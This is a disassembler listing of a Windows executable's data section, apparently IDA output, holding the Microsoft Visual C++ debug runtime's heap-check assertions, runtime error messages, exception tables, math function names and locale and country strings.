dword_43C630 dd 0FFFFFFFFh, 0 ; DATA XREF: __realloc_dbg+5o
dd offset sub_41C623
; char a_pfirstblockPo[]
a_pfirstblockPo db '_pFirstBlock == pOldBlock',0 ; DATA XREF: _realloc_help+499o
align 4
; char a_plastblockPol[]
a_plastblockPol db '_pLastBlock == pOldBlock',0 ; DATA XREF: _realloc_help+445o
align 4
; char aFreallocFreall[]
aFreallocFreall db 'fRealloc || (!fRealloc && pNewBlock == pOldBlock)',0
; DATA XREF: _realloc_help:loc_41CA36o
align 4
; char a_block_typePol[]
a_block_typePol db '_BLOCK_TYPE(pOldBlock->nBlockUse)==_BLOCK_TYPE(nBlockUse)',0
; DATA XREF: _realloc_help+277o
align 4
; char aPoldblockNline[]
aPoldblockNline db 'pOldBlock->nLine == IGNORE_LINE && pOldBlock->lRequest == IGNORE_'
; DATA XREF: _realloc_help:loc_41C861o
db 'REQ',0
align 4
; char a_crtisvalidhea[]
a_crtisvalidhea db '_CrtIsValidHeapPointer(pUserData)',0 ; DATA XREF: _realloc_help+1B6o
; sub_41CCE0+A8o ...
align 10h
; char aAllocationTooL[]
aAllocationTooL db 'Allocation too large or negative: %u bytes.',0Ah,0
; DATA XREF: _realloc_help+136o
align 10h
aClientHookRe_0 db 'Client hook re-allocation failure.',0Ah,0
; DATA XREF: _realloc_help:loc_41C74Fo
; char aClientHookReAl[]
aClientHookReAl db 'Client hook re-allocation failure at file %hs line %d.',0Ah,0
; DATA XREF: _realloc_help+DCo
align 10h
dword_43C7E0 dd 0FFFFFFFFh, 0 ; DATA XREF: __expand_dbg+5o
dd offset sub_41CC03
align 10h
dword_43C7F0 dd 0FFFFFFFFh, 0 ; DATA XREF: __free_dbg+5o
dd offset sub_41CCC2
; char a_pfirstblockPh[]
a_pfirstblockPh db '_pFirstBlock == pHead',0 ; DATA XREF: sub_41CCE0+35Do
align 4
; char a_plastblockPhe[]
a_plastblockPhe db '_pLastBlock == pHead',0 ; DATA XREF: sub_41CCE0+307o
align 4
; char aPheadNblockuse[]
aPheadNblockuse db 'pHead->nBlockUse == nBlockUse',0 ; DATA XREF: sub_41CCE0+29Co
; sub_41D0F0+133o
align 4
; char aPheadNlineIgno[]
aPheadNlineIgno db 'pHead->nLine == IGNORE_LINE && pHead->lRequest == IGNORE_REQ',0
; DATA XREF: sub_41CCE0:loc_41CF04o
align 4
; char aDamageAfterHsB[]
aDamageAfterHsB db 'DAMAGE: after %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_41CCE0+1E5o
; sub_41D430+265o
align 4
; char aDamageBeforeHs[]
aDamageBeforeHs db 'DAMAGE: before %hs block (#%d) at 0x%08X.',0Ah,0
; DATA XREF: sub_41CCE0+17Fo
; sub_41D430+208o
align 4
; char a_block_type_is[]
a_block_type_is db '_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)',0 ; DATA XREF: sub_41CCE0+10Ao
; sub_41D0F0+E2o ...
align 4
aClientHookFree db 'Client hook free failure.',0Ah,0 ; DATA XREF: sub_41CCE0:loc_41CD4Do
align 4
dword_43C928 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D0F0+5o
dd offset sub_41D261
align 8
dword_43C938 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtSetDbgBlockType+5o
dd offset sub_41D35D
; char aMemoryCheckErr[]
aMemoryCheckErr db 'memory check error at 0x%08X = 0x%02X, should be 0x%02X.',0Ah,0
; DATA XREF: _CheckBytes+54o
align 10h
; char aHsLocatedAt0x0[]
aHsLocatedAt0x0 db '%hs located at 0x%08X is %u bytes long.',0Ah,0
; DATA XREF: sub_41D430+33Ao
align 4
; char aHsAllocatedAtF[]
aHsAllocatedAtF db '%hs allocated at file %hs(%d).',0Ah,0 ; DATA XREF: sub_41D430+307o
; char aDamageOnTopOfF[]
aDamageOnTopOfF db 'DAMAGE: on top of Free block at 0x%08X.',0Ah,0
; DATA XREF: sub_41D430+2BEo
align 4
aDamaged db 'DAMAGED',0 ; DATA XREF: sub_41D430:loc_41D604o
a_heapchkFail_3 db '_heapchk fails with unknown return value!',0Ah,0
; DATA XREF: sub_41D430:loc_41D55Co
align 4
a_heapchkFail_2 db '_heapchk fails with _HEAPBADPTR.',0Ah,0
; DATA XREF: sub_41D430:loc_41D534o
align 10h
a_heapchkFail_1 db '_heapchk fails with _HEAPBADEND.',0Ah,0
; DATA XREF: sub_41D430:loc_41D50Co
align 4
a_heapchkFail_0 db '_heapchk fails with _HEAPBADNODE.',0Ah,0
; DATA XREF: sub_41D430:loc_41D4E4o
align 4
a_heapchkFailsW db '_heapchk fails with _HEAPBADBEGIN.',0Ah,0
; DATA XREF: sub_41D430:loc_41D4B9o
align 10h
dword_43CAC0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41D430+5o
dd offset sub_41D7A5
align 10h
dword_43CAD0 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtDoForAllClientObjects+5o
dd offset sub_41D89D
align 10h
dword_43CAE0 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtIsMemoryBlock+5o
dd offset sub_41DB46
; char aBadMemoryBlock[]
aBadMemoryBlock db 'Bad memory block found at 0x%08X.',0Ah,0 ; DATA XREF: sub_41DB90+13Co
align 10h
a_crtmemcheckpo db '_CrtMemCheckPoint: NULL state pointer.',0Ah,0
; DATA XREF: sub_41DB90:loc_41DBB9o
dword_43CB38 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_41DB90+5o
dd offset sub_41DD18
a_crtmemdiffere db '_CrtMemDifference: NULL state pointer.',0Ah,0
; DATA XREF: __CrtMemDifference:loc_41DD62o
aObjectDumpComp db 'Object dump complete.',0Ah,0
; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41E12Co
align 4
; char aCrtBlockAt0x08[]
aCrtBlockAt0x08 db 'crt block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: __CrtMemDumpAllObjectsSince+271o
align 4
; char aNormalBlockAt0[]
aNormalBlockAt0 db 'normal block at 0x%08X, %u bytes long.',0Ah,0
; DATA XREF: __CrtMemDumpAllObjectsSince+214o
; char aClientBlockAt0[]
aClientBlockAt0 db 'client block at 0x%08X, subtype %x, %u bytes long.',0Ah,0
; DATA XREF: __CrtMemDumpAllObjectsSince+1A9o
; char aLd[]
aLd db '{%ld} ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+15Ao
align 4
; char aHsD[]
aHsD db '%hs(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+132o
align 4
; char aFileErrorD[]
aFileErrorD db '#File Error#(%d) : ',0 ; DATA XREF: __CrtMemDumpAllObjectsSince+101o
aDumpingObjects db 'Dumping objects ->',0Ah,0
; DATA XREF: __CrtMemDumpAllObjectsSince:loc_41DEABo
dword_43CC50 dd 0FFFFFFFFh, 0 ; DATA XREF: __CrtMemDumpAllObjectsSince+5o
dd offset sub_41E121
; char aDataSS[]
aDataSS db ' Data: <%s> %s',0Ah,0 ; DATA XREF: __printMemBlockData+ECo
; char a_2x[]
a_2x db '%.2X ',0 ; DATA XREF: __printMemBlockData+BFo
align 4
aDetectedMemory db 'Detected memory leaks!',0Ah,0
; DATA XREF: __CrtDumpMemoryLeaks:loc_41E2C4o
; char aTotalAllocatio[]
aTotalAllocatio db 'Total allocations: %ld bytes.',0Ah,0
; DATA XREF: __CrtMemDumpStatistics+9Do
align 4
; char aLargestNumberU[]
aLargestNumberU db 'Largest number used: %ld bytes.',0Ah,0
; DATA XREF: __CrtMemDumpStatistics+75o
align 10h
; char aLdBytesInLdHsB[]
aLdBytesInLdHsB db '%ld bytes in %ld %hs Blocks.',0Ah,0
; DATA XREF: __CrtMemDumpStatistics+4Bo
align 10h
; char aMode_t0[]
aMode_t0 db '*mode != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+95o
align 4
; char aModeNull[]
aModeNull db 'mode != NULL',0 ; DATA XREF: __fsopen+67o
; __openfile+4Fo
align 4
; char aFile_t0[]
aFile_t0 db '*file != _T(',27h,'\0',27h,')',0 ; DATA XREF: __fsopen+3Do
align 4
aFopen_c db 'fopen.c',0 ; DATA XREF: __fsopen+18o __fsopen+46o ...
; char aFileNull[]
aFileNull db 'file != NULL',0 ; DATA XREF: __fsopen+Fo
align 10h
; char aFormatNull[]
aFormatNull db 'format != NULL',0 ; DATA XREF: _sprintf+45o
; __snprintf+45o ...
align 10h
aSprintf_c db 'sprintf.c',0 ; DATA XREF: _sprintf+24o _sprintf+4Eo ...
align 4
; char aStringNull[]
aStringNull db 'string != NULL',0 ; DATA XREF: _sprintf+1Bo
; __snprintf+1Bo ...
align 4
aFgets_c db 'fgets.c',0 ; DATA XREF: sub_41F210+24o
; sub_41F210+4Eo
aFprintf_c db 'fprintf.c',0 ; DATA XREF: _fprintf+1Eo _fprintf+48o
align 10h
aVsprintf_c db 'vsprintf.c',0 ; DATA XREF: __vsnprintf+1Eo
; __vsnprintf+48o
align 4
aSscanf_c db 'sscanf.c',0 ; DATA XREF: _sscanf+24o _sscanf+4Eo
align 4
dbl_43CD98 dq 1.0 ; DATA XREF: _floor+99r _ceil+99r ...
aDbgdel_cpp db 'dbgdel.cpp',0 ; DATA XREF: operator delete(void *)+62o
align 4
aOnexit_c db 'onexit.c',0 ; DATA XREF: __onexit+2Eo
; ___onexitinit+8o
align 4
aFseek_c db 'fseek.c',0 ; DATA XREF: _fseek+16o __fseek_lk+19o
aStrupr_c db 'strupr.c',0 ; DATA XREF: __strupr+133o
align 4
aMbstowcs_c db 'mbstowcs.c',0 ; DATA XREF: __mbstowcs_lk+32o
align 4
; char aSNull[]
aSNull db 's != NULL',0 ; DATA XREF: __mbstowcs_lk+29o
align 8
dword_43CDE8 dd 0FFFFFFFFh ; DATA XREF: start+5o
dd offset sub_422492
dd offset sub_4224AD
a_file_c db '_file.c',0 ; DATA XREF: ___initstdio+31o
; ___initstdio+65o
aAssertionFai_1 db 'Assertion Failed',0 ; DATA XREF: .data:00451BFCo
align 10h
aError db 'Error',0 ; DATA XREF: .data:00451BF8o
align 4
aWarning db 'Warning',0 ; DATA XREF: .data:off_451BF4o
; char aSDS_0[]
aSDS_0 db '%s(%d) : %s',0 ; DATA XREF: __CrtDbgReport+1FFo
; char asc_43CE2C[]
asc_43CE2C: ; DATA XREF: __CrtDbgReport:loc_422A46o
dw 0Ah
unicode 0, <>,0
; char asc_43CE30[]
asc_43CE30: ; DATA XREF: __CrtDbgReport+1C2o
dw 0Dh
unicode 0, <>,0
aAssertionFai_0 db 'Assertion failed!',0 ; DATA XREF: __CrtDbgReport:loc_4229E5o
align 4
aAssertionFaile db 'Assertion failed: ',0 ; DATA XREF: __CrtDbgReport+169o
align 4
; char a_crtdbgreportS[]
a_crtdbgreportS db '_CrtDbgReport: String too long or IO Error',0
; DATA XREF: __CrtDbgReport+149o
; __CrtDbgReport+21Co ...
align 4
aSecondChanceAs db 'Second Chance Assertion Failed: File %s, Line %d',0Ah,0
; DATA XREF: __CrtDbgReport+E6o
align 4
aWsprintfa db 'wsprintfA',0 ; DATA XREF: __CrtDbgReport+B6o
align 4
aUser32_dll_0 db 'user32.dll',0 ; DATA XREF: __CrtDbgReport+9Co
; ___crtMessageBoxA+16o
align 4
aMicrosoftVisua db 'Microsoft Visual C++ Debug Library',0
; DATA XREF: _CrtMessageWindow+2C2o
align 4
; char aDebugSProgramS[]
aDebugSProgramS db 'Debug %s!',0Ah ; DATA XREF: _CrtMessageWindow+28Co
db 0Ah
db 'Program: %s%s%s%s%s%s%s%s%s%s%s',0Ah
db 0Ah
db '(Press Retry to debug the application)',0
align 4
aModule db 0Ah ; DATA XREF: _CrtMessageWindow+221o
db 'Module: ',0
align 4
aFile_1 db 0Ah ; DATA XREF: _CrtMessageWindow+1E1o
db 'File: ',0
aLine db 0Ah ; DATA XREF: _CrtMessageWindow+1AAo
db 'Line: ',0
; char asc_43CF68[]
asc_43CF68 db 0Ah ; DATA XREF: _CrtMessageWindow+173o
; __NMSG_WRITE+171o
db 0Ah,0
align 4
aExpression db 'Expression: ',0 ; DATA XREF: _CrtMessageWindow+153o
align 4
dword_43CF7C dd 0 ; DATA XREF: _CrtMessageWindow:loc_422D1Ao
; _CrtMessageWindow:loc_422D39o ...
aForInformation db 0Ah ; DATA XREF: _CrtMessageWindow+10Eo
db 0Ah
db 'For information on how your program can cause an assertion',0Ah
db 'failure, see the Visual C++ documentation on asserts.',0
align 4
; char a___[]
a___ db '...',0 ; DATA XREF: _CrtMessageWindow+9Co
; _CrtMessageWindow+F4o ...
; char aProgramNameUnk[]
aProgramNameUnk db '<program name unknown>',0 ; DATA XREF: _CrtMessageWindow+56o
; __NMSG_WRITE+EDo
align 10h
aDbgrpt_c db 'dbgrpt.c',0 ; DATA XREF: _CrtMessageWindow+1Fo
align 4
; char aSzusermessageN[]
aSzusermessageN db 'szUserMessage != NULL',0 ; DATA XREF: _CrtMessageWindow+13o
align 4
a_freebuf_c db '_freebuf.c',0 ; DATA XREF: __freebuf+15o
align 10h
aMlock_c db 'mlock.c',0 ; DATA XREF: __lock+16o
dword_43D048 dd 0FFFFFFFFh, 0 ; DATA XREF: __heap_alloc_base+5o
dd offset sub_423785
dd 0FFFFFFFFh, 0
dd offset sub_423807
dword_43D060 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423880+5o
dd offset sub_423921
dd 0FFFFFFFFh, 0
dd offset sub_423A1A
dword_43D078 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423A90+5o
dd offset sub_423C58
dd 0FFFFFFFFh, 0
dd offset sub_423E6F
dword_43D090 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_423F30+5o
dd offset sub_423FAB
dd 0FFFFFFFFh, 0
dd offset sub_42402D
dword_43D0A8 dd 0FFFFFFFFh, 0 ; DATA XREF: unknown_libname_6+5o
dd offset sub_4240E2
dd 0FFFFFFFFh, 0
dd offset sub_424127
; char Str1[]
Str1 db '__GLOBAL_HEAP_SELECTED',0 ; DATA XREF: sub_426EF0+B9o
align 4
a__msvcrt_heap_ db '__MSVCRT_HEAP_SELECT',0 ; DATA XREF: sub_426EF0+5Ao
align 10h
a_filbuf_c db '_filbuf.c',0 ; DATA XREF: __filbuf+18o
align 4
a_open_c db '_open.c',0 ; DATA XREF: __openfile+2Eo
; __openfile+58o ...
; char aFilenameNull[]
aFilenameNull db 'filename != NULL',0 ; DATA XREF: __openfile+25o
align 4
aStream_c db 'stream.c',0 ; DATA XREF: __getstream+C1o
align 4
; char aInconsistentIo[]
aInconsistentIo db '("inconsistent IOB fields", stream->_ptr - stream->_base >= 0)',0
; DATA XREF: __flsbuf+162o
align 4
a_flsbuf_c db '_flsbuf.c',0 ; DATA XREF: __flsbuf+18o
; __flsbuf+16Eo
align 10h
byte_43D170 db 6 ; DATA XREF: unknown_libname_7+8Fr
db 2 dup(0), 6
dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
dd 50h, 38282000h, 8075850h, 30303700h, 75057h, 8202000h
dd 0
db 8,'`h````',0
dd 78707000h, 8787878h, 807h, 8080007h, 8000008h, 7000800h
dd 8
aNull_0: ; DATA XREF: .data:off_453F10o
unicode 0, <(null)>,0
align 4
aNull db '(null)',0 ; DATA XREF: .data:off_453F0Co
align 4
aOutput_c db 'output.c',0 ; DATA XREF: unknown_libname_7+122o
align 10h
; char aCh_t0[]
aCh_t0 db 'ch != _T(',27h,'\0',27h,')',0 ; DATA XREF: unknown_libname_7+116o
align 10h
aTidtable_c db 'tidtable.c',0 ; DATA XREF: __mtinit+23o __getptd+29o
align 4
a_sftbuf_c db '_sftbuf.c',0 ; DATA XREF: __stbuf+18o __stbuf+B2o ...
align 4
; char aFlag0Flag1[]
aFlag0Flag1 db 'flag == 0 || flag == 1',0 ; DATA XREF: __ftbuf+13o
align 10h
aInput_c db 'input.c',0 ; DATA XREF: unknown_libname_11+1Eo
; unknown_libname_11+4Bo
a_yn db '_yn',0 ; DATA XREF: .data:0045425Co
a_y1 db '_y1',0 ; DATA XREF: .data:00454254o
a_y0 db '_y0',0 ; DATA XREF: .data:0045424Co
aFrexp db 'frexp',0 ; DATA XREF: .data:00454244o
align 4
aFmod db 'fmod',0 ; DATA XREF: .data:0045423Co
align 4
a_hypot db '_hypot',0 ; DATA XREF: .data:00454234o
align 4
a_cabs db '_cabs',0 ; DATA XREF: .data:0045422Co
align 4
aLdexp db 'ldexp',0 ; DATA XREF: .data:00454224o
align 4
aModf db 'modf',0 ; DATA XREF: .data:0045421Co
align 4
aFabs db 'fabs',0 ; DATA XREF: .data:00454214o
align 4
aFloor db 'floor',0 ; DATA XREF: .data:0045420Co
align 4
aCeil db 'ceil',0 ; DATA XREF: .data:00454204o
align 4
aTan db 'tan',0 ; DATA XREF: .data:004541FCo
aCos db 'cos',0 ; DATA XREF: .data:004541F4o
aSin db 'sin',0 ; DATA XREF: .data:004541ECo
aSqrt db 'sqrt',0 ; DATA XREF: .data:004541E4o
align 10h
aAtan2 db 'atan2',0 ; DATA XREF: .data:004541DCo
align 4
aAtan db 'atan',0 ; DATA XREF: .data:004541D4o
align 10h
aAcos db 'acos',0 ; DATA XREF: .data:004541CCo
align 4
aAsin db 'asin',0 ; DATA XREF: .data:004541C4o
align 10h
aTanh db 'tanh',0 ; DATA XREF: .data:004541BCo
align 4
aCosh db 'cosh',0 ; DATA XREF: .data:004541B4o
align 10h
aSinh db 'sinh',0 ; DATA XREF: .data:004541ACo
align 4
aLog10 db 'log10',0 ; DATA XREF: .data:004541A4o
align 10h
aLog_0 db 'log',0 ; DATA XREF: .data:0045419Co
aPow db 'pow',0 ; DATA XREF: .data:00454194o
aExp db 'exp',0 ; DATA XREF: .data:off_45418Co
align 10h
dbl_43D2F0 dq 0.0 ; DATA XREF: __handle_exc+D7r
; __handle_exc+11Ar ...
aIsprocessorfea db 'IsProcessorFeaturePresent',0 ; DATA XREF: __ms_p5_mp_test_fdiv+1Ao
align 4
aKernel32 db 'KERNEL32',0 ; DATA XREF: __ms_p5_mp_test_fdiv+6o
align 10h
; char aE000[]
aE000 db 'e+000',0 ; DATA XREF: __cftoe2:loc_42C9E8o
align 4
dword_43D328 dd 0FFFFFFFFh ; DATA XREF: ___FrameUnwindToState+5o
dd offset loc_42D419
dd offset loc_42D426
align 8
dword_43D338 dd 0FFFFFFFFh, 0 ; DATA XREF: CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong)+5o
dd offset sub_42D64D
align 8
dd offset loc_42D60E
dd offset loc_42D61B
dword_43D350 dd 0FFFFFFFFh ; DATA XREF: BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *)+5o
dd offset loc_42D96C
dd offset loc_42D972
align 10h
dword_43D360 dd 0FFFFFFFFh ; DATA XREF: _DestructExceptionObject(EHExceptionRecord *,uchar)+5o
dd offset loc_42D9EE
dd offset loc_42D9FD
align 10h
dword_43D370 dd 0FFFFFFFFh, 0 ; DATA XREF: terminate(void)+5o
dd offset j__abort
align 10h
dd offset loc_42DB10
dd offset loc_42DB16
dword_43D388 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42DB70+5o
dd offset j_?terminate@@YAXXZ ; terminate(void)
align 8
dd offset loc_42DBBC
dd offset loc_42DBC2
aLc_time db 'LC_TIME',0 ; DATA XREF: .data:0045440Co
aLc_numeric db 'LC_NUMERIC',0 ; DATA XREF: .data:00454400o
align 4
aLc_monetary db 'LC_MONETARY',0 ; DATA XREF: .data:004543F4o
aLc_ctype db 'LC_CTYPE',0 ; DATA XREF: .data:004543E8o
align 4
aLc_collate db 'LC_COLLATE',0 ; DATA XREF: .data:004543DCo
align 4
aLc_all db 'LC_ALL',0 ; DATA XREF: .data:off_4543D0o
align 10h
; char asc_43D3E0[]
asc_43D3E0 db ';',0 ; DATA XREF: _setlocale:loc_42DEA3o
; __setlocale_get_all+83o
align 4
asc_43D3E4 db '=;',0 ; DATA XREF: _setlocale:loc_42DDD1o
align 4
aSetlocal_c db 'setlocal.c',0 ; DATA XREF: __setlocale_set_cat+3Eo
; __setlocale_get_all+1Bo
align 4
asc_43D3F4: ; DATA XREF: __setlocale_get_all+5Bo
unicode 0, <=>,0
; char Control[]
Control db '_.,',0 ; DATA XREF: ___lc_strtolc:loc_42E5E2o
; char a__4[]
a__4: ; DATA XREF: ___lc_lctostr+50o
; ___init_numeric:loc_43474Bo
unicode 0, <.>,0
a__5: ; DATA XREF: ___lc_lctostr+25o
unicode 0, <_>,0
aFtell_c db 'ftell.c',0 ; DATA XREF: _ftell+16o __ftell_lk+18o
dword_43D40C dd 0 ; DATA XREF: ___crtLCMapStringA+5Do
; ___crtGetStringTypeA+58o ...
dword_43D410 dd 2 dup(0) ; DATA XREF: ___crtLCMapStringA+35o
; ___crtGetStringTypeA+35o ...
dword_43D418 dd 0FFFFFFFFh ; DATA XREF: ___crtLCMapStringA+5o
dd offset loc_42EFF6
dd offset loc_42EFFC
dd 0FFFFFFFFh
dd offset loc_42F0EC
dd offset loc_42F0F2
aStdenvp_c db 'stdenvp.c',0 ; DATA XREF: __setenvp+5Bo
; __setenvp+D0o
align 4
aStdargv_c db 'stdargv.c',0 ; DATA XREF: __setargv+72o
align 4
aA_env_c db 'a_env.c',0 ; DATA XREF: ___crtGetEnvironmentStringsA+E8o
; ___crtGetEnvironmentStringsA+1C6o
aIoinit_c db 'ioinit.c',0 ; DATA XREF: __ioinit+Bo __ioinit+106o
align 4
aRuntimeError db 'runtime error ',0 ; DATA XREF: .data:00454554o
align 4
asc_43D46C db 0Dh,0Ah,0 ; DATA XREF: .data:0045454Co
align 10h
aTlossError db 'TLOSS error',0Dh,0Ah,0 ; DATA XREF: .data:00454544o
align 10h
aSingError db 'SING error',0Dh,0Ah,0 ; DATA XREF: .data:0045453Co
align 10h
aDomainError db 'DOMAIN error',0Dh,0Ah,0 ; DATA XREF: .data:00454534o
align 10h
aR6028UnableToI db 'R6028',0Dh,0Ah ; DATA XREF: .data:0045452Co
db '- unable to initialize heap',0Dh,0Ah,0
align 4
aR6027NotEnough db 'R6027',0Dh,0Ah ; DATA XREF: .data:00454524o
db '- not enough space for lowio initialization',0Dh,0Ah,0
align 10h
aR6026NotEnough db 'R6026',0Dh,0Ah ; DATA XREF: .data:0045451Co
db '- not enough space for stdio initialization',0Dh,0Ah,0
align 4
aR6025PureVirtu db 'R6025',0Dh,0Ah ; DATA XREF: .data:00454514o
db '- pure virtual function call',0Dh,0Ah,0
align 10h
aR6024NotEnough db 'R6024',0Dh,0Ah ; DATA XREF: .data:0045450Co
db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
align 4
aR6019UnableToO db 'R6019',0Dh,0Ah ; DATA XREF: .data:00454504o
db '- unable to open console device',0Dh,0Ah,0
align 4
aR6018Unexpecte db 'R6018',0Dh,0Ah ; DATA XREF: .data:004544FCo
db '- unexpected heap error',0Dh,0Ah,0
align 4
aR6017Unexpecte db 'R6017',0Dh,0Ah ; DATA XREF: .data:004544F4o
db '- unexpected multithread lock error',0Dh,0Ah,0
align 4
aR6016NotEnough db 'R6016',0Dh,0Ah ; DATA XREF: .data:004544ECo
db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra db 0Dh,0Ah ; DATA XREF: .data:004544E4o
db 'abnormal program termination',0Dh,0Ah,0
align 4
aR6009NotEnough db 'R6009',0Dh,0Ah ; DATA XREF: .data:004544DCo
db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough db 'R6008',0Dh,0Ah ; DATA XREF: .data:004544D4o
db '- not enough space for arguments',0Dh,0Ah,0
align 10h
aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_4544CCo
db '- floating point not loaded',0Dh,0Ah,0
align 4
aMicrosoftVis_0 db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: __NMSG_WRITE+1A4o
align 10h
; char aRuntimeErrorPr[]
aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: __NMSG_WRITE:loc_4302DAo
db 0Ah
db 'Program: ',0
align 4
aWinsig_c db 'winsig.c',0 ; DATA XREF: .text:004308B1o
align 4
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+5Fo
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA:loc_430D4Bo
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+2Ao
aOsfinfo_c db 'osfinfo.c',0 ; DATA XREF: __alloc_osfhnd+138o
align 8
dword_43D778 dd 0FFFFFFFFh ; DATA XREF: ___crtGetStringTypeA+5o
dd offset loc_4315B4
dd offset loc_4315BA
a_getbuf_c db '_getbuf.c',0 ; DATA XREF: __getbuf+16o __getbuf+48o
align 10h
aMbtowc_c db 'mbtowc.c',0 ; DATA XREF: __mbtowc_lk+21o
align 4
; char aMb_cur_max1Mb_[]
aMb_cur_max1Mb_ db 'MB_CUR_MAX == 1 || MB_CUR_MAX == 2',0 ; DATA XREF: __mbtowc_lk+18o
align 10h
aUngetc_c db 'ungetc.c',0 ; DATA XREF: _ungetc+16o _ungetc_0+16o
align 4
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
aTzset_c db 'tzset.c',0 ; DATA XREF: __tzset_lk+1D1o
; char VarName[]
VarName db 'TZ',0 ; DATA XREF: __tzset_lk+35o
align 4
aInittime_c db 'inittime.c',0 ; DATA XREF: ___init_time+13o
align 4
aInitnum_c db 'initnum.c',0 ; DATA XREF: ___init_numeric+1CFo
; ___init_numeric+215o ...
align 10h
aInitmon_c db 'initmon.c',0 ; DATA XREF: ___init_monetary+13o
align 4
aInitctyp_c db 'initctyp.c',0 ; DATA XREF: unknown_libname_28+52o
; unknown_libname_28+6Bo ...
align 4
aParaguay db 'Paraguay',0 ; DATA XREF: .data:00454B4Co
align 4
aUruguay db 'Uruguay',0 ; DATA XREF: .data:00454B20o
aChile db 'Chile',0 ; DATA XREF: .data:00454AF4o
align 4
aEcuador db 'Ecuador',0 ; DATA XREF: .data:00454AC8o
aArgentina db 'Argentina',0 ; DATA XREF: .data:00454A9Co
align 4
aPeru db 'Peru',0 ; DATA XREF: .data:00454A70o
align 10h
aColombia db 'Colombia',0 ; DATA XREF: .data:00454A44o
align 4
aVenezuela db 'Venezuela',0 ; DATA XREF: .data:00454A18o
align 4
aDominicanRepub db 'Dominican Republic',0 ; DATA XREF: .data:004549ECo
align 4
aSouthAfrica db 'South Africa',0 ; DATA XREF: .data:004549C0o
align 4
aPanama db 'Panama',0 ; DATA XREF: .data:00454994o
align 4
aLuxembourg db 'Luxembourg',0 ; DATA XREF: .data:00454968o
align 10h
aCostaRica db 'Costa Rica',0 ; DATA XREF: .data:0045493Co
align 4
aSwitzerland db 'Switzerland',0 ; DATA XREF: .data:00454910o
aGuatemala db 'Guatemala',0 ; DATA XREF: .data:004548E4o
align 4
aCanada db 'Canada',0 ; DATA XREF: .data:004548B8o
align 4
aSpanishModernS db 'Spanish - Modern Sort',0 ; DATA XREF: .data:00454884o
align 4
aAustralia db 'Australia',0 ; DATA XREF: .data:00454860o
align 10h
aEnglish db 'English',0 ; DATA XREF: .data:00454858o
; .data:004549B8o
aAustria db 'Austria',0 ; DATA XREF: .data:00454834o
aGerman db 'German',0 ; DATA XREF: .data:0045482Co
align 4
aBelgium db 'Belgium',0 ; DATA XREF: .data:00454808o
aMexico db 'Mexico',0 ; DATA XREF: .data:004547DCo
align 4
aSpanish db 'Spanish',0 ; DATA XREF: .data:004547D4o
; .data:004548DCo ...
aBasque db 'Basque',0 ; DATA XREF: .data:004547A8o
align 4
aSweden db 'Sweden',0 ; DATA XREF: .data:00454784o
align 10h
aSwedish db 'Swedish',0 ; DATA XREF: .data:0045477Co
aIceland db 'Iceland',0 ; DATA XREF: .data:00454758o
aIcelandic db 'Icelandic',0 ; DATA XREF: .data:00454750o
align 4
aFrance db 'France',0 ; DATA XREF: .data:0045472Co
align 4
aFrench db 'French',0 ; DATA XREF: .data:00454724o
; .data:00454800o ...
align 4
aFinland db 'Finland',0 ; DATA XREF: .data:00454700o
aFinnish db 'Finnish',0 ; DATA XREF: .data:004546F8o
aSpain db 'Spain',0 ; DATA XREF: .data:off_4546D4o
; .data:004547B0o ...
align 4
aSpanishTraditi db 'Spanish - Traditional Sort',0 ; DATA XREF: .data:off_4546CCo
align 10h
aUnitedStates db 'united-states',0 ; DATA XREF: .data:00454C20o
align 10h
aUnitedKingdom db 'united-kingdom',0 ; DATA XREF: .data:00454C18o
align 10h
aTrinidadTobago db 'trinidad & tobago',0 ; DATA XREF: .data:00454C08o
align 4
aSouthKorea db 'south-korea',0 ; DATA XREF: .data:00454C00o
aSouthAfrica_0 db 'south-africa',0 ; DATA XREF: .data:00454BF8o
align 10h
aSouthKorea_0 db 'south korea',0 ; DATA XREF: .data:00454BF0o
aSouthAfrica_1 db 'south africa',0 ; DATA XREF: .data:00454BE8o
align 4
aSlovak db 'slovak',0 ; DATA XREF: .data:00454BE0o
align 4
aPuertoRico db 'puerto-rico',0 ; DATA XREF: .data:00454BD8o
aPrChina db 'pr-china',0 ; DATA XREF: .data:00454BD0o
align 4
aPrChina_0 db 'pr china',0 ; DATA XREF: .data:00454BC8o
align 4
aNz db 'nz',0 ; DATA XREF: .data:00454BC0o
align 4
aNewZealand db 'new-zealand',0 ; DATA XREF: .data:00454BB8o
aHongKong db 'hong-kong',0 ; DATA XREF: .data:00454BB0o
align 4
aHolland db 'holland',0 ; DATA XREF: .data:00454BA8o
aGreatBritain db 'great britain',0 ; DATA XREF: .data:00454BA0o
